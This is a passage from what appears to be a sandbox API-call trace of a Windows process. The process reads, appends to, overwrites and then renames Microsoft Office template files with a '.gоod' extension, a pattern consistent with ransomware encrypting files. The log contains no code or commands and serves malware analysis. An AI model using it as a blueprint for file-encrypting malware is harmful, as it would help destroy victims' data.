Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0266.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.882] GetFileType (hFile=0x834) returned 0x1 [0266.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0266.883] GetFileType (hFile=0x834) returned 0x1 [0266.883] WriteFile (in: hFile=0x834, lpBuffer=0x38f81a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x38f81a8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0266.883] CloseHandle (hObject=0x834) returned 1 [0266.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", lpFilePart=0x0) returned 0x52 [0266.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.gоod", lpFilePart=0x0) returned 0x57 [0266.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0266.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b48b77f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f25)) returned 1 [0266.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0266.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx.gоod")) returned 1 [0266.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0266.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0266.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3976cf0 | out: lpFileInformation=0x3976cf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f1d)) returned 1 [0266.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0267.063] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0267.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.108] GetFileType (hFile=0x808) returned 0x1 [0267.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.108] GetFileType (hFile=0x808) returned 0x1 [0267.108] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0267.108] ReadFile (in: hFile=0x808, lpBuffer=0x39756b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39756b0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0267.110] CloseHandle (hObject=0x808) returned 1 [0267.110] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0267.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.110] GetFileType (hFile=0x808) returned 0x1 [0267.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.110] GetFileType (hFile=0x808) returned 0x1 [0267.110] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f1d [0267.110] WriteFile (in: hFile=0x808, lpBuffer=0x3976968*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3976968*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0267.112] CloseHandle (hObject=0x808) returned 1 [0267.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0267.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.112] GetFileType (hFile=0x808) returned 0x1 [0267.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.112] GetFileType (hFile=0x808) returned 0x1 [0267.112] ReadFile (in: hFile=0x808, lpBuffer=0x397a4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x397a4f8*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0267.576] CloseHandle (hObject=0x808) returned 1 [0267.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0267.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.576] GetFileType (hFile=0x808) returned 0x1 [0267.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.576] GetFileType (hFile=0x808) returned 0x1 [0267.576] WriteFile (in: hFile=0x808, lpBuffer=0x3892ee8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3892ee8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0267.576] CloseHandle (hObject=0x808) returned 1 [0267.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", lpFilePart=0x0) returned 0x53 [0267.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.gоod", lpFilePart=0x0) returned 0x58 [0267.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0267.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bb40073, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f2d)) returned 1 [0267.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0267.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx.gоod")) returned 1 [0267.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0267.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0267.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39d50a8 | out: lpFileInformation=0x39d50a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0)) returned 1 [0267.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0267.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0267.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.578] GetFileType (hFile=0x808) returned 0x1 [0267.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.579] GetFileType (hFile=0x808) returned 0x1 [0267.579] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0267.579] ReadFile (in: hFile=0x808, lpBuffer=0x39d54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39d54e0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0267.579] CloseHandle (hObject=0x808) returned 1 [0267.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0267.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.580] GetFileType (hFile=0x808) returned 0x1 [0267.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.580] GetFileType (hFile=0x808) returned 0x1 [0267.580] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2eb0 [0267.580] WriteFile (in: hFile=0x808, lpBuffer=0x39d67d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39d67d0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0267.581] CloseHandle (hObject=0x808) returned 1 [0267.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0267.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0267.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.581] GetFileType (hFile=0x808) returned 0x1 [0267.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0267.581] GetFileType (hFile=0x808) returned 0x1 [0267.581] ReadFile (in: hFile=0x808, lpBuffer=0x39d8d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39d8d68*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0268.790] CloseHandle (hObject=0x808) returned 1 [0268.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0268.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0268.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0268.790] GetFileType (hFile=0x808) returned 0x1 [0268.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0268.790] GetFileType (hFile=0x808) returned 0x1 [0268.790] WriteFile (in: hFile=0x808, lpBuffer=0x3222708*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3222708*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0268.926] CloseHandle (hObject=0x808) returned 1 [0269.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx", lpFilePart=0x0) returned 0x4f [0269.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.gоod", lpFilePart=0x0) returned 0x54 [0269.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0269.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c810b2f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ec0)) returned 1 [0269.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0269.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx.gоod")) returned 1 [0269.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0269.339] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3783a98 | out: lpFileInformation=0x3783a98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3436)) returned 1 [0269.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0269.557] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.620] GetFileType (hFile=0x834) returned 0x1 [0269.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.620] GetFileType (hFile=0x834) returned 0x1 [0269.620] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0269.620] ReadFile (in: hFile=0x834, lpBuffer=0x3912ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3912ce8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0269.621] CloseHandle (hObject=0x834) returned 1 [0269.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.621] GetFileType (hFile=0x834) returned 0x1 [0269.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.622] GetFileType (hFile=0x834) returned 0x1 [0269.622] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x3436 [0269.622] WriteFile (in: hFile=0x834, lpBuffer=0x3914288*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3914288*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0269.622] CloseHandle (hObject=0x834) returned 1 [0269.623] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.623] GetFileType (hFile=0x834) returned 0x1 [0269.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.623] GetFileType (hFile=0x834) returned 0x1 [0269.623] ReadFile (in: hFile=0x834, lpBuffer=0x39167d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39167d8*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0269.744] CloseHandle (hObject=0x834) returned 1 [0269.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft 